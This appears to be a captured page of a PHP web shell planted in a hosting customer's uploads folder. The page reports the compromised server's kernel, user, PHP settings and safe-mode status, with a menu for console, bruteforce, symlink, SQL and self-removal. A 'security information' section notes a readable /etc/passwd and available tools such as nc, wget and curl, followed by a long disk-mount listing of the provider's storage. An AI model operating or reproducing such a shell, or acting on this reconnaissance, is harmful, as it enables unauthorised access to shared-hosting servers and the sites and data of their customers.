Uname:
User:
Php:
Hdd:
Cwd:
Linux boscustweb0702.eigbox.net 5.4.185 #1 SMP Wed Jun 7 20:20:52 EDT 2023 x86_64 [GitHub]
2535940 ( ipg.coronatreasures ) Group: 15010 ( cgiuser )
5.5.22 Safe mode: OFF [ phpinfo ] Datetime: 2025-01-22 15:12:34
1607.09 GB Free: 1478.04 GB (91%)
/hermes/bosnacweb04/bosnacweb04ck/b446/ipg.coronatreasures/uploads/category/ drwxr-xr-x [ home ]

Server IP:

Client IP:
3.135.208.76
[ Sec. Info ][ Files ][ Console ][ SafeMode ][ Sql ][ Php ][ String tools ][ Bruteforce ][ Network ][ Symlink ][ Self remove ]

Server security information

Server software: Apache
Disabled PHP Functions: none
cURL support: enabled
Supported databases: MySql (5.5.52)

Readable /etc/passwd: yes [view]
Readable /etc/shadow: no
OS version: Linux version 5.4.185 (root@boskvmhost01.eigbox.net) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12)) #1 SMP Wed Jun 7 20:20:52 EDT 2023
Distr name: Ubuntu 16.04.7 LTS

Userful: gcc, cc, ld, php, perl, python, ruby, tar, gzip, bzip2, nc
Downloaders: wget, curl, lwp-mirror

HDD space:
Filesystem                                                                Size  Used Avail Use% Mounted on
udev                                                                       32G     0   32G   0% /dev
/dev/vda1                                                                  25G  6.2G   18G  27% /
tmpfs                                                                      32G     0   32G   0% /dev/shm
/dev/vda3                                                                  46G 1008M   43G   3% /var
bosnacsys01-data.eigbox.net:/cgi_1/data/users                             220G  180G   40G  83% /opt/users
bosnacsys01-data:/sb_conf                                                 190G   32M  190G   1% /hermes/bosconf
bosnacsys01-data:/sb_web                                                  190G   43M  190G   1% /hermes/bosweb01
bosnacsys01-data:/phpsessions                                             4.0T  474G  3.5T  12% /hermes/phpsessions
bosnacsys01-data:/sb_web                                                  190G   43M  190G   1% /hermes/bosweb
bosnacsys01-data:/sb_conf                                                 190G   32M  190G   1% /hermes/sb_conf
bosnacsys01-data.eigbox.net:/cgi_2/sys/cgi1/opt/apps/miva                 7.6G  5.7G  1.9G  76% /opt/apps/miva
bosnacsys01-data:/sb_conf                                                 190G   32M  190G   1% /hermes/bosconf01
bosnacsys01-data:/sb_web                                                  190G   43M  190G   1% /hermes/sb_web
bosnacsys01-data.eigbox.net:/cgi_2/sys/cgi1/usrlocal                      7.6G  5.7G  1.9G  76% /usr/local
bosnacsys01-data:/conf001                                                 190G  135G   56G  71% /hermes/bosconf001
bosnacsys01-data:/conf002                                                 190G  136G   55G  72% /hermes/bosconf002
bosnacsys01-data:/conf003                                                 190G  127G   64G  67% /hermes/bosconf003
bosnacsys01-data:/conf004                                                 190G  136G   55G  72% /hermes/bosconf004
bosnacsys01-data:/conf005                                                 190G  126G   65G  66% /hermes/bosconf005
bosnacsys01-data:/conf007                                                 190G  144G   47G  76% /hermes/bosconf007
bosnacsys01-data:/conf008                                                 190G  129G   62G  68% /hermes/bosconf008
bosnacsys01-data:/conf006                                                 190G  128G   63G  67% /hermes/bosconf006
bosnacsys01-data:/conf009                                                 190G  131G   60G  69% /hermes/bosconf009
bosnacsys01-data:/conf011                                                 190G  115G   76G  61% /hermes/bosconf011
bosnacsys01-data:/conf012                                                 190G  141G   50G  75% /hermes/bosconf012
bosnacsys01-data:/conf013                                                 196G  179G   18G  92% /hermes/bosconf013
bosnacsys01-data:/conf010                                                 190G  121G   70G  64% /hermes/bosconf010
bosnacsys01-data:/conf014                                                 190G  126G   65G  67% /hermes/bosconf014
bosnacweb03-data.eigbox.net:/bosnacweb03                                  500G  146M  500G   1% /hermes/bosnacweb03
bosnacweb01-data.eigbox.net:/bosnacweb01                                  500G  165M  500G   1% /hermes/bosnacweb01
bosnacweb02-data.eigbox.net:/bosnacweb02                                  500G  179M  500G   1% /hermes/bosnacweb02
bosnacweb04-data.eigbox.net:/bosnacweb04                                  500G  191M  500G   1% /hermes/bosnacweb04
bosnacweb05-data.eigbox.net:/bosnacweb05                                  500G  176M  500G   1% /hermes/bosnacweb05
bosnacweb08-data.eigbox.net:/bosnacweb08                                  475G   36M  475G   1% /hermes/bosnacweb08
bosnacweb07-data.eigbox.net:/bosnacweb07                                  475G   20M  475G   1% /hermes/bosnacweb07
bosnacweb06-data.eigbox.net:/bosnacweb06                                  475G   21M  475G   1% /hermes/bosnacweb06
bosnacweb09-data.eigbox.net:/bosnacweb09                                  500G  166M  500G   1% /hermes/bosnacweb09
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05am                     12T  6.9T  4.8T  59% /hermes/bosnacweb05/bosnacweb05am
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08as                    5.8T  2.7T  3.1T  47% /hermes/bosnacweb08/bosnacweb08as
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05aa                    8.2T  7.7T  428G  95% /hermes/bosnacweb05/bosnacweb05aa
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ak                    5.5T  3.6T  2.0T  65% /hermes/bosnacweb04/bosnacweb04ak
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ad                    5.6T  3.3T  2.4T  58% /hermes/bosnacweb05/bosnacweb05ad
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08bc                    5.8T  3.0T  2.8T  52% /hermes/bosnacweb08/bosnacweb08bc
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02an                     11T   11T  557G  95% /hermes/bosnacweb02/bosnacweb02an
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ac                    7.3T  4.0T  3.3T  55% /hermes/bosnacweb05/bosnacweb05ac
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ch                    7.7T  6.5T  1.3T  84% /hermes/bosnacweb05/bosnacweb05ch
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08bd                    5.8T  4.6T  1.2T  80% /hermes/bosnacweb08/bosnacweb08bd
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cc                    7.3T  4.5T  2.8T  62% /hermes/bosnacweb05/bosnacweb05cc
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04az                    6.6T  3.6T  3.1T  54% /hermes/bosnacweb04/bosnacweb04az
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cd                    6.3T  5.2T  1.1T  84% /hermes/bosnacweb05/bosnacweb05cd
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07af                    5.8T  2.9T  2.9T  51% /hermes/bosnacweb07/bosnacweb07af
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08aw                    5.8T  2.9T  2.9T  50% /hermes/bosnacweb08/bosnacweb08aw
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06az                    5.8T  2.4T  3.4T  41% /hermes/bosnacweb06/bosnacweb06az
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04aa                    5.6T  3.6T  2.1T  64% /hermes/bosnacweb04/bosnacweb04aa
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ba                    5.0T  4.2T  871G  83% /hermes/bosnacweb05/bosnacweb05ba
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ab                    8.8T  8.4T  491G  95% /hermes/bosnacweb08/bosnacweb08ab
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09ax                    7.7T  2.7T  5.0T  35% /hermes/bosnacweb09/bosnacweb09ax
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ar                    6.6T  4.3T  2.3T  65% /hermes/bosnacweb04/bosnacweb04ar
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06as                    5.8T  5.1T  649G  89% /hermes/bosnacweb06/bosnacweb06as
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ay                    5.8T  5.1T  678G  89% /hermes/bosnacweb08/bosnacweb08ay
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cf                    7.1T  5.4T  1.8T  76% /hermes/bosnacweb05/bosnacweb05cf
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04an                    6.1T  3.6T  2.6T  58% /hermes/bosnacweb04/bosnacweb04an
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07au                    5.8T  3.7T  2.1T  65% /hermes/bosnacweb07/bosnacweb07au
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ad                    8.0T  7.6T  440G  95% /hermes/bosnacweb08/bosnacweb08ad
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01an                    3.3T  2.2T  1.1T  68% /hermes/bosnacweb01/bosnacweb01an
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06am                    5.8T  2.6T  3.2T  46% /hermes/bosnacweb06/bosnacweb06am
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ab                    5.2T  4.4T  809G  85% /hermes/bosnacweb05/bosnacweb05ab
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bg                    6.3T  4.0T  2.4T  64% /hermes/bosnacweb05/bosnacweb05bg
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05av                    6.5T  5.7T  836G  88% /hermes/bosnacweb05/bosnacweb05av
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ck                    4.8T  3.4T  1.5T  70% /hermes/bosnacweb04/bosnacweb04ck
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02cf                    2.1T  1.3T  839G  61% /hermes/bosnacweb02/bosnacweb02cf
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02ce                    1.7T  879G  770G  54% /hermes/bosnacweb02/bosnacweb02ce
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ax                    6.7T  6.0T  659G  91% /hermes/bosnacweb06/bosnacweb06ax
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ce                     11T  9.9T  637G  95% /hermes/bosnacweb04/bosnacweb04ce
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ag                    5.8T  3.2T  2.6T  56% /hermes/bosnacweb07/bosnacweb07ag
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04af                    5.5T  3.9T  1.6T  71% /hermes/bosnacweb04/bosnacweb04af
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01bd                    1.4T  1.2T  130G  91% /hermes/bosnacweb01/bosnacweb01bd
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ag                    5.8T  4.2T  1.6T  74% /hermes/bosnacweb06/bosnacweb06ag
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09at                    7.7T  3.9T  3.8T  51% /hermes/bosnacweb09/bosnacweb09at
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bj                    5.9T  5.5T  371G  94% /hermes/bosnacweb05/bosnacweb05bj
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ci                    4.9T  3.7T  1.2T  77% /hermes/bosnacweb04/bosnacweb04ci
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04at                    5.1T  3.4T  1.7T  67% /hermes/bosnacweb04/bosnacweb04at
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ad                    5.8T  2.9T  2.9T  50% /hermes/bosnacweb06/bosnacweb06ad
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04bh                    6.3T  4.7T  1.7T  74% /hermes/bosnacweb04/bosnacweb04bh
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08am                    8.9T  8.4T  506G  95% /hermes/bosnacweb08/bosnacweb08am
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06al                    5.8T  2.8T  3.0T  49% /hermes/bosnacweb06/bosnacweb06al
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06at                    8.1T  5.0T  3.1T  62% /hermes/bosnacweb06/bosnacweb06at
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ay                    5.8T  3.3T  2.5T  58% /hermes/bosnacweb07/bosnacweb07ay
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ak                    5.8T  3.5T  2.3T  60% /hermes/bosnacweb06/bosnacweb06ak
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05aj                    5.3T  4.2T  1.2T  79% /hermes/bosnacweb05/bosnacweb05aj
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05az                    4.9T  4.0T  911G  82% /hermes/bosnacweb05/bosnacweb05az
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02at                    1.2T  1.2T   77G  94% /hermes/bosnacweb02/bosnacweb02at
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02ae                    3.0T  2.5T  565G  82% /hermes/bosnacweb02/bosnacweb02ae
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02ac                    1.6T 1013G  595G  64% /hermes/bosnacweb02/bosnacweb02ac
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cb                     18T   17T 1004G  95% /hermes/bosnacweb05/bosnacweb05cb
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02aj                    1.8T  1.2T  562G  68% /hermes/bosnacweb02/bosnacweb02aj
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04bi                    5.7T  2.9T  2.8T  52% /hermes/bosnacweb04/bosnacweb04bi
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02cc                    1.5T  1.1T  479G  69% /hermes/bosnacweb02/bosnacweb02cc
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ah                    5.8T  1.9T  3.9T  33% /hermes/bosnacweb06/bosnacweb06ah
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05be                     12T  6.3T  5.8T  52% /hermes/bosnacweb05/bosnacweb05be
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ca                    5.9T  5.4T  562G  91% /hermes/bosnacweb05/bosnacweb05ca
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ay                    6.6T  4.5T  2.2T  68% /hermes/bosnacweb05/bosnacweb05ay
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02am                    3.3T  1.8T  1.6T  53% /hermes/bosnacweb02/bosnacweb02am
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09ai                    7.7T  5.6T  2.1T  73% /hermes/bosnacweb09/bosnacweb09ai
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ak                    6.6T  4.0T  2.7T  61% /hermes/bosnacweb05/bosnacweb05ak
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ae                    5.8T  3.6T  2.2T  63% /hermes/bosnacweb08/bosnacweb08ae
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07az                    5.8T  3.1T  2.7T  54% /hermes/bosnacweb07/bosnacweb07az
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06ai                    5.8T  2.4T  3.4T  43% /hermes/bosnacweb06/bosnacweb06ai
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01bc                    3.5T  2.2T  1.3T  63% /hermes/bosnacweb01/bosnacweb01bc
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bd                    6.2T  4.8T  1.5T  78% /hermes/bosnacweb05/bosnacweb05bd
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02ab                    3.9T  2.8T  1.1T  73% /hermes/bosnacweb02/bosnacweb02ab
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04as                    6.7T  6.3T  420G  94% /hermes/bosnacweb04/bosnacweb04as
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ac                    5.8T  2.5T  3.3T  43% /hermes/bosnacweb07/bosnacweb07ac
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02cj                    2.0T  1.3T  734G  64% /hermes/bosnacweb02/bosnacweb02cj
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ah                    5.4T  3.2T  2.2T  60% /hermes/bosnacweb04/bosnacweb04ah
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02bb                    1.4T  926G  506G  65% /hermes/bosnacweb02/bosnacweb02bb
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04al                    6.7T  2.9T  3.8T  44% /hermes/bosnacweb04/bosnacweb04al
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ao                    6.5T  4.1T  2.4T  64% /hermes/bosnacweb04/bosnacweb04ao
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08au                    5.8T  2.7T  3.1T  47% /hermes/bosnacweb08/bosnacweb08au
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ax                    5.8T  2.4T  3.4T  41% /hermes/bosnacweb07/bosnacweb07ax
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bc                    6.3T  4.8T  1.6T  77% /hermes/bosnacweb05/bosnacweb05bc
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ax                    5.8T  3.4T  2.4T  59% /hermes/bosnacweb08/bosnacweb08ax
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ah                    5.8T  2.2T  3.6T  39% /hermes/bosnacweb07/bosnacweb07ah
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06au                    6.5T  4.7T  1.9T  71% /hermes/bosnacweb06/bosnacweb06au
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ah                    5.6T  4.0T  1.6T  72% /hermes/bosnacweb05/bosnacweb05ah
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ac                    9.5T  8.7T  914G  91% /hermes/bosnacweb08/bosnacweb08ac
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04cc                    6.8T  2.9T  3.9T  43% /hermes/bosnacweb04/bosnacweb04cc
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09aa                    7.7T  3.3T  4.4T  43% /hermes/bosnacweb09/bosnacweb09aa
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04aq                    5.9T  4.0T  2.0T  68% /hermes/bosnacweb04/bosnacweb04aq
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02cb                    2.2T  1.4T  859G  61% /hermes/bosnacweb02/bosnacweb02cb
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07at                    5.8T  3.6T  2.2T  62% /hermes/bosnacweb07/bosnacweb07at
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09as                    7.7T  4.2T  3.5T  56% /hermes/bosnacweb09/bosnacweb09as
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01ay                    2.7T  1.1T  1.6T  40% /hermes/bosnacweb01/bosnacweb01ay
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04cb                    7.0T  3.2T  3.9T  45% /hermes/bosnacweb04/bosnacweb04cb
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01av                    3.3T  2.4T  926G  73% /hermes/bosnacweb01/bosnacweb01av
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06aj                    5.8T  5.0T  794G  87% /hermes/bosnacweb06/bosnacweb06aj
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04cg                    5.0T  3.6T  1.5T  71% /hermes/bosnacweb04/bosnacweb04cg
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07aa                     19T   18T  1.2T  95% /hermes/bosnacweb07/bosnacweb07aa
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08af                    5.8T  2.5T  3.3T  43% /hermes/bosnacweb08/bosnacweb08af
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01am                    1.6T  1.2T  412G  75% /hermes/bosnacweb01/bosnacweb01am
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07aj                    5.8T  2.7T  3.1T  46% /hermes/bosnacweb07/bosnacweb07aj
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cl                    4.8T  3.7T  1.1T  78% /hermes/bosnacweb05/bosnacweb05cl
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04bf                    6.6T  4.0T  2.7T  61% /hermes/bosnacweb04/bosnacweb04bf
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ch                    4.1T  2.7T  1.4T  66% /hermes/bosnacweb04/bosnacweb04ch
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04au                    6.7T  5.7T  1.0T  85% /hermes/bosnacweb04/bosnacweb04au
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ba                    9.1T  8.5T  550G  95% /hermes/bosnacweb04/bosnacweb04ba
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cm                    4.1T  3.9T  221G  95% /hermes/bosnacweb05/bosnacweb05cm
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04aj                    5.4T  2.3T  3.2T  43% /hermes/bosnacweb04/bosnacweb04aj
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04av                    4.8T  3.4T  1.5T  71% /hermes/bosnacweb04/bosnacweb04av
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ag                    5.8T  2.6T  3.2T  46% /hermes/bosnacweb08/bosnacweb08ag
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06aa                    5.8T  2.6T  3.2T  45% /hermes/bosnacweb06/bosnacweb06aa
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ai                    5.8T  2.2T  3.6T  38% /hermes/bosnacweb07/bosnacweb07ai
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05au                    6.1T  4.6T  1.6T  75% /hermes/bosnacweb05/bosnacweb05au
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02ba                    3.1T  2.2T  910G  72% /hermes/bosnacweb02/bosnacweb02ba
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09ao                    7.7T  3.6T  4.1T  48% /hermes/bosnacweb09/bosnacweb09ao
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ap                    5.5T  4.1T  1.4T  75% /hermes/bosnacweb05/bosnacweb05ap
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08al                    5.8T  2.1T  3.7T  37% /hermes/bosnacweb08/bosnacweb08al
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ap                    5.3T  3.1T  2.2T  59% /hermes/bosnacweb04/bosnacweb04ap
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09av                    7.7T  5.1T  2.6T  67% /hermes/bosnacweb09/bosnacweb09av
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05as                    5.7T  4.2T  1.5T  74% /hermes/bosnacweb05/bosnacweb05as
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05cg                    4.2T  2.6T  1.7T  61% /hermes/bosnacweb05/bosnacweb05cg
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08bf                    5.8T  3.0T  2.8T  53% /hermes/bosnacweb08/bosnacweb08bf
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ao                    5.8T  2.1T  3.7T  37% /hermes/bosnacweb08/bosnacweb08ao
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08at                    5.8T  3.8T  2.0T  67% /hermes/bosnacweb08/bosnacweb08at
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bi                    8.0T  6.0T  2.1T  75% /hermes/bosnacweb05/bosnacweb05bi
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08an                    7.4T  6.9T  487G  94% /hermes/bosnacweb08/bosnacweb08an
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ad                    6.7T  4.2T  2.5T  64% /hermes/bosnacweb04/bosnacweb04ad
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04bd                    5.4T  4.0T  1.5T  74% /hermes/bosnacweb04/bosnacweb04bd
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01ao                    4.4T  3.3T  1.1T  76% /hermes/bosnacweb01/bosnacweb01ao
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08ar                    5.8T  2.8T  3.0T  48% /hermes/bosnacweb08/bosnacweb08ar
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05af                    5.9T  4.5T  1.4T  77% /hermes/bosnacweb05/bosnacweb05af
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09af                    7.7T  3.1T  4.6T  40% /hermes/bosnacweb09/bosnacweb09af
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06av                    7.5T  7.0T  474G  94% /hermes/bosnacweb06/bosnacweb06av
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08aq                    5.8T  3.7T  2.1T  65% /hermes/bosnacweb08/bosnacweb08aq
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ci                    5.2T  3.9T  1.3T  75% /hermes/bosnacweb05/bosnacweb05ci
bosnacweb06-data.eigbox.net:/bosnacweb06/bosnacweb06an                    5.8T  3.3T  2.5T  58% /hermes/bosnacweb06/bosnacweb06an
bosnacweb02-data.eigbox.net:/bosnacweb02/bosnacweb02af                    1.8T 1002G  819G  56% /hermes/bosnacweb02/bosnacweb02af
bosnacweb01-data.eigbox.net:/bosnacweb01/bosnacweb01ag                    4.0T  2.9T  1.1T  74% /hermes/bosnacweb01/bosnacweb01ag
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05bf                    6.1T  4.9T  1.2T  82% /hermes/bosnacweb05/bosnacweb05bf
bosnacweb08-data.eigbox.net:/bosnacweb08/bosnacweb08av                    5.8T  3.5T  2.3T  62% /hermes/bosnacweb08/bosnacweb08av
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09al                    7.7T  4.1T  3.6T  54% /hermes/bosnacweb09/bosnacweb09al
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ae                    5.8T  5.3T  469G  92% /hermes/bosnacweb07/bosnacweb07ae
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04ax                    5.1T  3.2T  1.9T  63% /hermes/bosnacweb04/bosnacweb04ax
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ad                    5.8T  3.6T  2.2T  62% /hermes/bosnacweb07/bosnacweb07ad
bosnacweb09-data.eigbox.net:/bosnacweb09/bosnacweb09ap                    7.7T  5.8T  1.9T  76% /hermes/bosnacweb09/bosnacweb09ap
bosnacweb04-data.eigbox.net:/bosnacweb04/bosnacweb04bc                    6.5T  4.4T  2.1T  68% /hermes/bosnacweb04/bosnacweb04bc
bosnacweb07-data.eigbox.net:/bosnacweb07/bosnacweb07ab                    5.8T  2.3T  3.5T  40% /hermes/bosnacweb07/bosnacweb07ab
bosnacweb05-data.eigbox.net:/bosnacweb05/bosnacweb05ce                    7.1T  4.9T  2.2T  70% /hermes/bosnacweb05/bosnacweb05ce
